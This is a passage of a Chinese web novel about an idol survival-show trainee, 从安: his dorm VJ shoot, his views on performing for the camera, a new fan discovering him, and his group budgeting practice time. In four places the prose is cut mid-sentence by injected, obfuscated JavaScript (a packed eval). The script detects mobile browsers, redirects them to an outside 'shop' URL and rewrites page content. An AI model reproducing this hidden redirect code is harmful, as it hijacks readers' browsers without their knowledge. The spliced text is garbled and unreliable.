简单,直接,甚至有点天真。 但就是这种天真,让安文乐觉得……刺眼。 因为从安有资格天真。 他有实力,有人气,有背景,所以他可以不用考虑那些弯弯绕绕,可以光明正大地做‘正确’的选择。 而自己呢? 一个C班的,小公司的,没有任何底气的练习生。 他必须每一步都小心翼翼,必须权衡利弊,必须把真实的念头藏在心里,露出最妥帖的笑容。 卑劣。 安文乐看着镜子里自己的脸,忽然觉得有点厌恶。 “队长,这个动作我总做不好,你能帮我看看吗?”组里的一个队员叫他。 安文乐立刻换上笑容:“好,我看看。” 48.一日vj 晚上九点,练习室里安静下来。 经过一天的练习,备采,广告等一系列拍摄之后,所有人都精疲力尽。 从安看着镜子里队友们明显不佳的状态,没有再次播放音乐。 “今天就到这里吧。”从安收起平板,声音里带着训练后的轻微沙哑,“回去好好休息,明天早上七点,我们在这里集合练习,可以吗?” “几点?”李瑞瞪大眼睛。 他耳朵没坏吧。 十二天的练习时间,第二天就要早上七点在练习室集合练习集合了吗? 要不要这么卷。 从安蹙眉:“太晚了吗?” 他其实是想早点的,但考虑到这才是练习第二天,怕大家状态调整不过来,所以才晚一点,考虑七点集合的。 “不!不!”李瑞连连摆手,生怕从安说出什么可怕的话。 从安的作息他略有耳闻,从安的训练强度他耳濡目染。 之前同为C班练习生,他在旁边看从安辛苦练习感叹的时候就已经够震撼,但把这份作息套到他身上,可千万不要啊! 他没有这么拼! “那就七点集合?”眼看其他人没有其他意见,从安再次确认。 “没问题。”车明杰手指一扬,利落地答应下来。 沈言和楚沛对视一眼,一起点头。 许安霖不可能拒绝。 今天一天的练习下来,就他的进度最慢。 他身为F班练习生的训练底子,在今天展现地淋漓尽致。 但他是C位,他不可能放弃。 约好第二天的时间,从安就开始收拾东西准备离开。 “你们结束了?” 一个声音从头顶传来。 从安顿了顿。 抬头。 夏实。 安文乐组在一个小时前就结束了练习,他们组的成员们随后就陆陆续续离开,但有一个人一直没走—— 夏实。 果然,夏实在等他。 从安垂下眼,把东西迅速收好,起身。 “你怎么没回去?” 直接问,对方可能反而不会说出心底的答案。 “等你啊。”夏实却理所当然地开口,亲密的话语在他口中毫不费力地吐出,“我们一间宿舍,我当然要等你。” ——等一个小时? 从安不置可否。 从安笑了笑:“走吧。” 两人并肩走下楼梯,脚步声在安静的楼梯间里回响。 口口声声说着等从安的夏实,一路上却分外沉默。 夏实不说话,从安也不想说话。 练习了一天,还被抓去拍了广告,他累得要死。 现在还能人模人样地走在路上,全靠远处基地大门口的长枪大炮。 有那么多粉丝在拍,谁也不会在这个时候做出影响自己形象的事情。 “你们组练得怎么样?”酝酿了一路,快到宿舍了,夏实才终于问出一个问题。 从安:“……” 他们两组在同一间练习室,甚至在结束之前的一个小时,夏实还作为安文乐组的独苗,在练习室看他们练习了一小时。 虽然打着等他的名头,但夏实睁着那么大的眼睛,不可能什么都没看见吧。 从安摇头:“练得很不好,一整天了,一个舞蹈动作都没有顺下来。” 夏实:“……” 他信个鬼。 原本想说的话顿时被憋了回去。 好在宿舍楼已经近在眼前,沉默的空气不需要再想话题打破。 一走进宿舍楼的灯光下,从安就被抓住了。 “从安,等你呢。”等待许久的工作人员递过来一个黑色的GoPro相机,“今天是你的宿舍一日VJ,主题是一公第一天练习的趣事,十点前交回来就行。” 自从节目开始正式录制后,除了每天在练习室的练习之外,练习生们还有许多大大小小的小项目要录制。 像是找一些练习生录制采访,找一些练习生去录制游戏,而像这一日vj,也是每天在进行的一个录制项目之一。 晚上练习结束后,练习生们在宿舍会发生什么样的趣事? 会有一名练习生作为vj,拿着他的相机,深入探访宿舍去寻找这些练习生私下的小秘密。 当天录制结束之后经过剪辑,第二天晚上就会上线,时长三十分钟左右,因为展现了许多练习生私下里的一面,让大家看到了更真实,更鲜活的练习生,所以很受观众的欢迎。 从安接过相机,熟练地检查了一下开关和电量:“好的,明白了。” 工作人员交代完就离开了。 从安拿着相机,转头看向夏实。 夏实脸上没什么意外的表情,只是看着他。 “你早就知道?”从安问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121580|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么?”夏实装傻。 “你今天等我,是因为知道我是今天的vj。”从安说得肯定,“你想一起出镜?” 夏实笑,没承认也没否认:“碰巧而已。” 从安没再追问。 他打开GoPro的录制键,红色的指示灯亮起。 镜头开启的瞬间,他脸上的疲惫一扫而空,取而代之的是一种明亮喜悦的笑容。 “哈喽大家好!”从安语调轻快地对镜头打招呼,屏幕上显示出他灿烂的笑脸,“我是今天的一日vj从安!” 从安转动镜头,夏实的脸更准确地出现在画面的中心。 夏实立刻挥手:“大家好!我是今日vj的——室友!夏实!” 从安再次看向镜头,画面中他和夏实的脸共同位于画面中心,“今天是我们一公准备的第一天,真的好累好累好累,不过一想到等我们练习结束就能站上一公的舞台,就能看见大家,顿时疲惫就一扫而空,变得动力十足了。” “那今天有没有发生什么有趣的事情呢?就让小安带着大家去一探究竟吧!” 从安兴致勃勃的说着开场白,夏实在旁边时不时点头,时不时应和,积极的做着反馈。 只是看着画面里从安的笑脸,夏实却有些恍惚。 他从没有见过从安这样……该怎么说呢?又阳光又活泼的样子。 从安是怎样的?是初舞台的时候,第一个坐上一号位的人,是初舞台拿到C主题曲却拿到A的人,是每天天不亮就起,半夜才回,所有时间都拿来练习的人…… 是不想和他炒cp,当面就会说出来的人。 夏实的印象里,从安努力,勇敢,冷漠,不近人情,且不屑于和他们其他练习生打交道。 夏实甚至都已经知道了汪元白家里猫咪的名字,但对于从安,他的了解依然只有从安之前自我介绍说的那些东西。 从安的世界仿佛只有练习这一个东西,哦不对,可能还有减肥,至少夏实没在从安嘴里听到过别的话题。 更没在从安脸上看见过这么活泼生动的表情。 夏实以为自己留下来等从安,是为了帮助他一起录制。 两个人做vj,用比一个人做vj的气氛来的更轻松。 但现在看着从安在镜头前如此侃侃而谈,夏实有些不确定了。 或许在没能回答从安的时候,夏实就已经知道自己是在自欺欺人了。 49.这就叫专业 举着相机,从安走进宿舍楼。 和每天十一点回来时,到处漆黑安静的模样不同,十点之前的宿舍,热闹得像另一个世界。 每一间宿舍的门都敞开着,音乐声、笑声、打闹声从里面涌出来。 走廊里有人穿着拖鞋跑来跑去,有人抱着洗衣盆串门,有人三五成群聚在公共区域聊天,还有人干脆在走廊里即兴跳起了舞。 青春的气息扑面而来,浓烈得几乎要溢出屏幕。 从安举着相机,镜头缓缓扫过走廊。 几个练习生看见他们,立刻兴奋地围了过来。 “从安!夏实!”一个染着金发的练习生第一个冲过来,他是D班的,从安记得他叫林晓,但两人几乎没有说过话,“你们是今日VJ吗?带我出镜带我出镜!” 他凑到镜头前,做了个鬼脸。 夏实迅速看了一眼从安。 这几天的室友当下来,看似他和从安熟了不少,但他自己知道,他和从安的关系没有半分进展。 从安这个人和他的外表截然不同,明明看起来可可爱爱,青春阳光,但是私下里交往时,又冷漠又生疏。 在表面的客套之外,根本无法和他拉进距离。 现在林晓突然跑过来,还这么热情,当着镜头的面,夏实还真怕从安露出不对的表情。 但从安的反应出乎他的意料。 “林晓!”从安笑得灿烂,声音里带着熟稔的惊喜,“你今天练习怎么样?我看你们组选的《破晓之前》,舞蹈超难的。” 他不仅没有避开,反而主动把镜头对准林晓,语气自然得像多年好友。 林晓显然也有些意外,但很快兴奋起来:“难死了!我今天差点把腰扭了!你看你看,我这里还贴了膏药——” 他掀起衣角,露出一片膏药,对着镜头大吐苦水。 从安认真地听着,时不时点头接话,还关心地问要不要帮忙问问节目组的医生。 两人聊了足足五分钟,气氛热络得让夏实都产生了他们原来关系这么好的错觉。 直到林晓被同宿舍的人叫走,从安才笑着挥手告别,转向下一间宿舍。 然后是第二间,第三间…… 每走进一间宿舍,从安都能迅速叫出里面每个人的名字,准确说出他们选的歌曲,甚至记得他们初舞台或主题曲考核时的某个细节。 他会和每个人热情打招呼,关心他们的练习进度,开恰到好处的玩笑,引导他们说出有趣的练习轶事。 有人抱怨队友动作总记不住,从安就笑着分享自己以前记动作的笨办法;有人炫耀今天终于攻克了一个高音,从安就真诚地鼓掌说太厉害了;有人累瘫在床上装死,从安就把镜头怼过去,配合地做出采访遗体的搞怪表情。 他游刃有余地穿梭在不同的宿舍、不同的人群之间,像一滴水融入海洋,自然得毫无痕迹。 夏实跟在他身边,从一开始的惊讶,到后来的沉默,最后只剩下一种复杂的观察。 从安做得……太好了。 好得让夏实以为现在镜头前的,才是真正的从安。 过去几天在宿舍里那个总是沉默的从安,仿佛是他的错觉。 一个小时后,所有宿舍逛完。 从安把GoPro交还给等在门口的工作人员,礼貌地道谢。 工作人员检查了一下素材,满意地点头:“拍得很好,辛苦了。” “应该的。”从安微笑。 等工作人员离开,从安和夏实一起回宿舍。 房间里汪元白和秦宽已经洗漱完毕,正坐在床上聊天。 看见从安和夏实回来,两人抬头打招呼。 秦宽:“拍完啦?” “嗯。”从安点点头,收拾东西朝阳台走去。 带妆练习了一天,他迫不及待想洗漱休息。 从安拿出卸妆油卸妆,镜子里的脸很快就变得一片狼藉,身后房间里传来三人说话的声音,揉搓脸片刻,从安弯腰洗脸,等他起身,突然发现身后夏实不知什么时候来了。 正表情复杂地看着他。 从安想叹气。 练习了一天,已经够累的了。 夏实难道就不累吗? 从安:“你想说什么?说吧。” 夏实的表情更复杂了。 从安等了一会儿,没等到夏实开口,他干脆拿起牙刷开始刷牙。 等从安又把牙刷完,夏实好像终于酝酿好了。 犹犹豫豫地开口:“你刚才……和每个人都很熟的样子,我以为你不喜欢和别人走太近。” 就像他当时靠近从安,然后立刻被拒绝那样。 从安没想到夏实是在纠结这个东西。 虽然他不知道夏实在犹豫复杂什么,但他没想过对方会说这个。 该怎么说呢,这么像学生的话——意外的天真。 从安:“我们在拍摄。没有观众愿意看不好看的东西,她们花了时间和精力来看节目,我们就要拿出值得她们看的东西,我们要为节目效果负责,这不难理解。” “至于私下里的关系,在镜头前,没人会在意这个。” 夏实愣住了。 他从未从这个角度想过问题。 他以为从安在镜头前的热情是假装,是表演,那热情的笑容,不过是从安虚伪的假面。 结果现在从安告诉他:那不是假装,那是负责。 是对节目的负责,对观众的负责,也是对自己职业的负责。 “所以……”夏实犹豫着,“你其实并不讨厌那样?和不熟的人互动?” 从安想了想。 “说不上讨厌或不讨厌。”他说,“这只是工作的一部分。就像跳舞要记动作,唱歌要练气息,在镜头前展现该展现的,也是需要练习的基本功。” 当每个人都有这个共识的时候,私下里的人际交往,就更不重要了。 时间只有那么多,精力也只有那么多,他选择了练习和舞台,其他地方势必就会无法顾及。 “你还有事吗?没事的话我就先洗澡了。”从安指了指夏实身后的门。 夏实连忙侧身,摇头:“没事了,你先洗漱吧。” 从安颔首,走进了卫生间。 夏实站在阳台上,听见卫生间里传出水声,站在原地,许久没有动。 他之前一直不太理解从安的所作所为。 刚进入节目,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137786|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会有人四处树敌呢?无论是从安当他的面说的那些话,还是后来隐隐传出的从安的不好的风声,又或者是每天宿舍里的各种活动,从安都拒绝…… 夏实以为这是从安来自大公司的高傲,是他背后的资本给他的底气。 主题曲考核之后,从安拿了全场第一,夏实以为是实力给从安的底气。 出外景录制MV,看到了粉丝的应援,夏实又以为是人气给从安的底气。 总之一定有什么支撑着从安,让他才能在如此多的练习生里,在大家都扬着笑脸想尽办法争取镜头的时候,我行我素,不随波逐流。 但现在他突然明白了。 从安不是冷漠,他只是分得很清——什么时候该做什么,该以什么样的状态做。 在他和其他大多数练习生,都还停留在想要被看见的阶段的时候。 从安,已经站在了如何被更好地看见的层面。 这种差距,不是实力或人气的差距。 是职业认知的差距。 是练习生和偶像的差距。 夏实闭上眼睛,深深吸了一口气。 或许,他也要改变自己的认知了。 从他们站在节目镜头前的那一刻起,他们就已经脱离了试图被看见的环境,因为他们已经被看见了。 而现在他们要做的,是如何让看见他们的人停下来,留下来。 他也要更努力才行。 不仅要努力练习,还要学会在镜头前,也做一个负责任的表演者。 就像从安那样。 * 一夜好眠。 第二天照例被闹钟吵醒的时候,从安难得浑身轻松地起床了。 倒也不是说以前早起的时候就很痛苦—— 虽然确实挺难受—— 但是一想到MV拍摄那天,在现场看见的那么多粉丝,从安就觉得动力满满。 还有人在等待着他,在期待着他,哪怕是为了她们,从安都不想要放弃。 依旧轻手轻脚地洗漱完毕,离开宿舍楼的时候,外面天色已经大亮。 随着逐渐步入盛夏,天也亮得越来越早,也越来越显得五点是一个不算早的时间。 这个时间点的基地内安静极了,除了风声和鸟鸣,只有从安自己的脚步声在回荡。 从安在原地蹦了几下,感受着身体的轻快,没有像往常一样围着跑道开始跑步,而是踏上了前往练习室的路。 路过可以看见基地大门的那片区域时,从安朝那处看去。 其他时间总是被站姐和粉丝占据的地方,在此刻这个时间,空无一人,显得格外空荡。 粉丝还没来,但从安脑海中已经浮现出那里站满人的样子。 可能拿着相机,手幅,海报……在每名练习生出现的时候,睁着眼睛辨认出来的人是谁,在认出是自担的时候,便挥舞着双手,大声呼喊对方的名字。 想着想着,从安就忍不住笑了起来。 如此直白的爱意和被选择的坚定,如何能够让人拒绝? 从安长出一口气,加快了脚下的步伐。 练习练习练习! 然后在镜头前,呈现一个最好的舞台! 50.哪里来的土豆 下午五点,林雅拖着疲惫的身体回到自己租住的公寓,把包往地上一放,自己就摔到了沙发上。 累,累得人要死了。 迟滞的大脑早已不愿再转动,林雅掏出手机,打开视频平台,手指机械性地滑动。 一个个夸张的标题花里胡哨的封面从林雅的眼前划过,让林雅厌倦地翻白眼。 又是这样,又是这样。 这些人论除了当标题党,还会做什么? 林雅深受标题党的痛苦。 她一个都不想点。 这时,又是一个夸张的标题浮现在林雅面前。 《【百万直拍】选秀史上最强主题曲C位!这个笑容我能看一百遍!!!》 “搞笑。”林雅白眼差点翻到天花板上。 再一看视频播放量,还真是百万直拍。 林雅的白眼立刻翻到了天花板上。 这个世界还有没有普通人的容身之处? 不做标题党,这些人是不会做视频了吗? 林雅愤怒地点进视频,势要让这些标题党感受一下什么叫来自观众的怒火! ——她绝不承认她是被封面吸引了。 缓冲两秒,视频开始播放。 音乐是节奏明快的男团曲,画面里的少年穿着蓝白色制服,随着音乐舞动,动作轻快,笑容明媚,一看就让人心生好感。 也……还行吧。 林雅做出判断。 换了个更舒服的姿势,林雅感觉身体轻松了一些。 音乐节奏渐急,步入高潮,视频中少年动作越发激烈,但一举一动都恰到好处,并没有因为激烈的舞步,而失去美感,反而看起来轻松又充满活力。 【来了来了!】 【前方高能!!!】 弹幕突然开始刷屏,哪怕是林雅开了50%的弹幕屏蔽,也依然密密麻麻地盖在了画面上,让人看不清视频的内容。 林雅不得不打开设置,把弹幕的屏蔽又拉高了一些。 等画面中只有三两行弹幕的时候,她才重新开始看起视频。 然后下一秒,少年从人群后跑出,三两步,一个起跳,高高跃起,稳稳落地——一个空翻。 林雅歪嘴。 这就是弹幕说的高能啊?也就……还行吧。 当爱豆的小年轻,空翻的不是一抓一大把吗,值得弹幕那么激动? 虽然这人动作利落干脆,落地时十分轻盈,充满力量但又不失美感……但这绝对不值得那么夸张的标题! 经过林雅的品鉴,到目前为止,就只是一个普普通通稍有姿色稍有实力的爱豆直拍。 她就说嘛,这个世界充斥着标题党。 还有没有人与人之间的信任了? 视频还在播放,歌曲来到了第二部分。 相同的旋律,相同的歌词,相同的舞步,虽然已经跳了半首歌,但视频中少年的状态没有半分下滑,每一个动作依然十分到位,脸上的笑容也没有丝毫松懈——不是标准化的偶像笑容,而是随着歌词、舞蹈、节奏变化的表情管理。 每一个抬手,每一次对视,他脸上的笑容都会出现细微的变化。 但不变的,是那份轻松,快乐,与活力。 别的不说,这个人倒还是挺可爱的。 林雅承认自己有点被勾到了,毕竟谁不喜欢帅气可爱的小弟弟对着你甜甜的笑呢? 她觉得她勉强可以原谅一下这个视频的标题党。 视频步入尾声,副歌部分再次重复,少年的发丝都在随着舞步飞扬,在灯光下被勾勒出一圈银色的轮廓。 最后一个鼓点落下,少年手指镜头,抬眼,露出了一个纯粹的笑容。 然后手上扬,镜头上滑,对准了穹顶上的星光。 林雅蹭地一下就坐起来了。 不是,她刚才看到了什么? 视频已经结束,画面彻底暗下,林雅点击重新播放,拖动进度条,目标明确的直指最后。 在最后几秒时,她停了下来。 画面中少年伴着最后一个鼓点,做出最后一个动作,手指镜头,然后抬眼灿烂一笑。 “我天!”林雅觉得自己被击中了。 不开玩笑,她看到了自己的天使。 这一刻,她的心灵都被净化了。 这个世界上怎会有人笑的如此好看?简直一眼万年! 现在!立刻!马上!她要知道这个人的所有信息! 林雅打开设置,把弹幕拉到最大,再次播放视频。 这一次,密密麻麻的弹幕填满了整个画面,但林雅也立刻从这无数的文字中,得到了自己想要的信息。 从安。 这个少年名叫从安。 又把视频的最后几秒看了好几遍之后,林雅才恋恋不舍的退出视频,点开评论区,高赞第一条不出意外的就是粉丝做的从安的安利信息汇总。 从安的名字,年龄,公司,现在参加的节目,以往的经历总结,以及各种安利向的视频。 林雅一一读完,看到从安的出生年月时她震惊,没想到对方才十八岁;看到从安的公司时,她错愕,没想到在她印象里只有小屁孩的养成系居然还有如此仙品;看到从安练习八年却成团失败时她气愤,从安如此潜力股居然成团失败!明辉娱乐还有没有眼睛!这样的好苗子居然都不让他成团! 短短几秒,林雅的心情大起大落,等看完了介绍,林雅满心满脑都是对从安的好奇。 好奇他的过去,现在,以及他正在参加选秀的未来。 没有犹豫,林雅退出软件,转战绿洋影视,搜索星光熠熠,下一秒,密密麻麻的节目信息就弹了出来。 在一众的衍生节目和直播链接中,林雅找到了只有一期节目的正片。 不是,乱七八糟的视频那么多,节目到现在只放了一期正片?要不要这样?她以为她是来看结果的,结果现在告诉她,这颗种子甚至还只刚刚种到土里? 林雅心情不是很佳,她想了想,还是没有直接看节目,而是搜索了从安的初舞台。 节目播了一期,初舞台应该是有了。 打出#从安初舞台#几个字,再一搜索,很快视频就出来了。 林雅期待地点进一个表演+点评的舞台。 刚才那个直拍表现得那么好,那么惊艳,完全让人移不开目光,那么这个所有练习生都十分重视,在选秀中初亮相的初舞台,想必会更好吧! 片刻之后,画面亮起,一个人影出现在屏幕上。 林雅眨了眨眼睛。 没有废话,视频一开始就直入主题,短暂的亮相之后,屏幕下方出现节目信息,林雅只来得及看完节目名字,音乐就响了起来。 《SAVE ME》 一首没听过的歌。 画面中的人也随之动了起来。 抬手,低头,摆肩……一个接一个动作流畅丝滑,但林雅却越看越不对劲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145212|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不是,刚才那个直击她的心脏令人一眼惊艳的从安去哪里了!现在视频里这个从安是怎么回事? 五官虽然一模一样,但这暗沉的肤色,圆润的下颌,粗壮的身材……这是怎么回事? 刚才那个青春阳光开朗充满少年气一笑就让人心软的从安在哪里? 现在这个又黑又钝的土豆又是哪里冒出来的? 一定是她打开视频的方式不对。 林雅退出视频,深呼吸,重新点进视频。 看了一眼,又迅速闭上了眼睛。 一定有什么地方不对。 林雅欲哭无泪。 她刚刚才绽放的花儿,就这么凋谢了吗? 不行,她需要冷静。 这冲击太大了。 林雅脑子里现在有两个从安在打架:一个是初舞台黑黑钝钝的小土豆,一个是主题曲C位阳光灿烂的少年。 哪个是真的? 她切回节目主页,发现右上角有个“LIVE”的标识在闪烁。 点进去,是分屏直播界面,几十个小窗口里是不同练习室的实时画面。 她随手划了划,然后顿住。 其中一个窗口里,有个人正在对着镜子练习舞蹈动作。 她下意识看了眼时间。 下午六点。 换算成国内时间……就是早上六点? 天呢,居然早上六点就有人在练习室练习吗?要不要这么拼? 那人穿着金色的训练服,头发被汗水打湿贴在额前,素颜,皮肤是健康的小麦色,虽然隔着不远的距离,但林雅依然可以看见对方线条清晰利落的侧脸。 他对着镜子调整一个扭胯的动作,表情专注,眉头微蹙。 林雅盯着那张脸看了五秒。 然后她猛地坐直身体,把平板凑到眼前。 这……这不是从安吗? 但和她刚才在初舞台看到的那个小土豆,判若两人。 直播镜头里的他,脸上已经没有初舞台那种钝感,下颌线清晰,鼻梁挺直,浓眉大眼。 虽然因为练习而满头大汗,但那种蓬勃的少年感几乎要冲破屏幕。 他做完一套动作,停下来擦汗,对着镜子检查自己的表情,然后不知道想到什么,忽然笑了一下。 不是主题曲里那种灿烂的大笑,而是很轻的一个笑容,眼睛弯起来,嘴角勾起小小的弧度。 林雅感觉心脏又被戳中了。 就是这个!就是这种感觉! 但下一秒,她又想起初舞台的画面。 ……所以到底哪个才是真的? 她看了半天直播,眼睛都酸了。 镜头里的从安一直在练习,一段相同的动作,翻来覆去的反复跳,林雅看他跳了一遍又一遍,都数不清又多少遍,看得林雅觉得自己都会跳了。 但林雅却丝毫不觉得腻。 她盯着直播固定镜头里的那个小人,看着他跳一下,停下来,修改自己的动作,又重新跳,就这样一点一点的,把自己的动作调整地更好,更漂亮,更完美。 林雅脑海中那个初舞台土豆的形象渐渐发生了改变,变成了一个拿着小刷子,一点一点给自己刷去皮上泥土,露出白净表层的白嫩小土豆。 谁懂啊,这种初舞台还是黑胖土豆,到了主题曲就变成旋风土豆,这种脱胎换骨的变化!这种一点一点让自己变优秀,变帅气的努力! 谁懂? 林雅懂! 51.时间绰绰有余 练习到六点半,从安才暂时结束了练习,离开练习室,前往食堂吃早餐。 六点半的食堂几乎没什么人,其实别说今天,就是前几天主题曲练习的时候,从安每天七点来食堂吃早餐,遇见的练习生也不多。 每个人都觉得在重要的事情之前,要努力,要奋斗,要拼搏,时间不够,早起争取时间仿佛理所当然,但等真的到了要努力的时候,人的惰性却比想象的大,能坚持早起练习的人,其实并不多。 而且比起早起,更多人的选择是晚睡。 比如练习到两点,三点……第二天再九点,十点起。 这样的作息对于现在的年轻人,会更容易接受。 像从安这样十一点睡五点起的,相当于是把他们晚睡的时间改成了早起。 说起来好像是一样的,但选择晚睡的人往往更多些。 从安选择早起原因也很简单。 为了健康。 为了减肥他已经伤害了自己的身体很多,要是再熬夜,怕是等不到出道夜,他自己就得先进医院。 他是努力,想拼一把,但绝对不是以伤害自己的身体为前提。 迅速解决了早餐,食堂还没别人来。 从安离开食堂回到练习室,时间正好来到七点。 一圈下来,什么都没耽误,从安不由得为自己周密的计划点赞。 他的队友十分准时的出现在了练习室,虽然时间还很早,但沈言和许安霖依然化了全妆,车明杰和楚沛简单打了底,李瑞素颜。 虽然大家都颜值过关,且年轻,但全妆和素颜的对比依然突出。 从安摸自己的脸,看了眼镜子。 今天他没去化妆。 看来之后还是得去。 再差也要打个底。 毕竟在录节目,形象上总不能太差。 没有多浪费时间,简单热身之后,从安就带着大家开始了今天的练习。 八点时,安文乐组的人陆陆续续的来了。 本来说说笑笑一起进来的他们,在看到在练习的从安组,面色立刻就变了。 话也不说了,匆匆地热完身,就立刻开始了练习。 着急得甚至连招呼都没打。 实在是不符合安文乐的作风。 从安从镜子里瞥见安文乐的表情,充分猜测明天他肯定会在更早的时间,看见安文乐出现在练习室。 安文乐组的出现只是短暂的插曲,从安很快就把这些念头抛在脑后,投入到练习之中。 昨天他和车明杰已经扒完舞,初步教给了其他人,今天再次带着一起学习。 许安霖,楚沛和沈言三人基础较差,学的稍慢些,但在从安和车明杰两个人的教导下,从昨天到今天,到了下午的时候,舞蹈动作已经基本顺了下来,只有细节还需要调整。 进度如此迅速,吃晚餐的时候,大家的表情都挺轻松。 “我们居然练得这么快。”李瑞拿着筷子还在回味,“节目组给了我们十二天的时间,是不是太轻松了?” 主题曲的三天他累得要死要活,这次一公却突然轻松下来,让他有些不适应。 节目组居然当人了? 经过两天的练习,大家的关系亲近了很多。 李瑞说完,楚沛也赞同点头:“十二天真的挺久的。” 不过他觉得节目组肯定还有别的安排,“但是这十二天应该不是只给我们练习吧,中间还要录一些节目?就像往些季录那种什么运动会,吃火锅,游泳这种的?” 除公演和练习之外的这些活动,也是展现练习生别样魅力的大舞台。 李瑞闻言连连点头:“肯定会有别的录制,不可能光让我们练习的。” 说完,他看向了从安。 这张桌子上,他们这组的六个人,除了从安,其他人都没有录制经验,甚至练习时长都不是很长。 像他,练习时长两年多,已经算长的。 沈言和楚沛都只有一年多,许安霖不到一年,而车明杰接受系统训练的时间甚至都只有三个月。 对比起从安八年的训练时长,六年的公开时间,他们这五个人,完全是牙牙学语连路都不会走的小孩儿。 而且从安不只是练习时间长,他录制经验更是甩他们无数条街。 毕竟从安从公开那天起,就活在了镜头下。 平时他们公司拍摄的那些日常物料,完全可以看做一个规模没那么大的小综艺。 而规模大,制作精良的综艺,从安也不是没有录制过。 甚至录制班底都是同一个——从安去年成团失败的出道综艺。 不过这种经历提起来难免揭人伤疤,李瑞没说话,只是看着从安。 面对五个人的视线,从安放下了筷子。 “我们的时间并不充裕。”从安开口就是否认,没等五人质疑,他伸出双手,开口道:“今天已经是练习第二天,十天之后,就是一公录制,在录制之前,肯定要进行全要素带妆彩排,会完全模拟一公录制当天的情况进行,所以要去掉一天,那我们就只剩九天了。” 从安收起一根手指。 “带妆彩排之前,会进行试妆,妆造合不合适,服装合不合身,试妆之后再根据情况进行修改。我们六个人做完全套妆造,再提出修改意见,就要去掉半天时间。” “同时,舞台的彩排不可能只有一次全要素带妆彩排,全要素是最后的模拟,所以在那之前,我们还会进行舞台彩排,让我们熟悉舞台调度。这次彩排是对我们舞台质量的考核,也是给我们最后的调整时间,能体现出我们的很多问题,导演也会指出我们的不足,让我们能够修改,用最完美的状态面对公演舞台,这也要去掉半天。” “所以,这加起来就是一天,只剩八天了。” 从安又收起一根手指。 “看起来很多是吗?但是昨天下午我们的通告表上虽然只写了自主练习,可从一点到六点的五个小时,我被叫出去花半小时录制了广告,我们全员录制了备采,用了差不多一小时,加起来也就是一个半小时,练习时长只有三个半小时。” “晚上的练习时长从七点到九点,也只有两个小时。” “所以我们昨天看似是一天,但练习时间只有五个半小时。” “今天的情况和昨天类似,上午厍贝导师来指导,刚才我们去录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148052|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制了练习生大揭秘的趣味环节……这些录制的时长虽然看似不长,但是它零碎的散落在我们每一天的练习里,把我们的练习打散,让我们的练习状态中断,也让沉下来的心变得浮躁。” “虽然八天看起来比主题曲的三天多,但主题曲的三天是没有游戏环节和额外录制的三天,所有人都泡在练习室里,唯一的任务只有练习。” “现在还剩下的八天,是充满了采访游戏和其他录制的八天,现在你们还觉得时间很多吗?” 不算不知道,一算吓一跳。 李瑞顺着从安的话一想,昨天说是一天,但满打满算,也只能算一个下午啊! 一天时间,也就练习了一下午。 而今天,上午厍贝导师来之后,先是带他们来了一段自我介绍,又来了一段个人展示,十二个人又是唱歌又是跳舞,还有人说笑话变魔术,足足热闹了大半个小时,然后才开始了舞蹈指导。 每个人跳一遍,厍贝再指导一遍……总之,等厍贝离开,距离她来已经过去了两个小时。 当然,导师的指导对他们肯定是有用的,他们的动作确实被调整了很多,但这绝对不是两个小时应该有的效果。 而下午的录制更甚。 他们早早的就被通知去准备,结果在外面一等就等了半个小时,然后才轮到他们录制。 一个接一个,录完又过去了大半个小时,但每个人的录制时间,也才几分钟而已。 花一个多小时,录制五分钟。 而且这些录制,占据的还都是他们白天状态最好的时间。 这样一算,这些看似轻松的录制,确实要耗费不少时间。 而这些录制,不可能有人拒绝,大家甚至还期待着这些录制。 李瑞倒吸一口凉气。 从早到晚一刻不停歇的主题曲练习,只让他拿到了C,而现在看似时间充裕的一公,他能在充满了各种录制的情况下更好地进行练习吗? 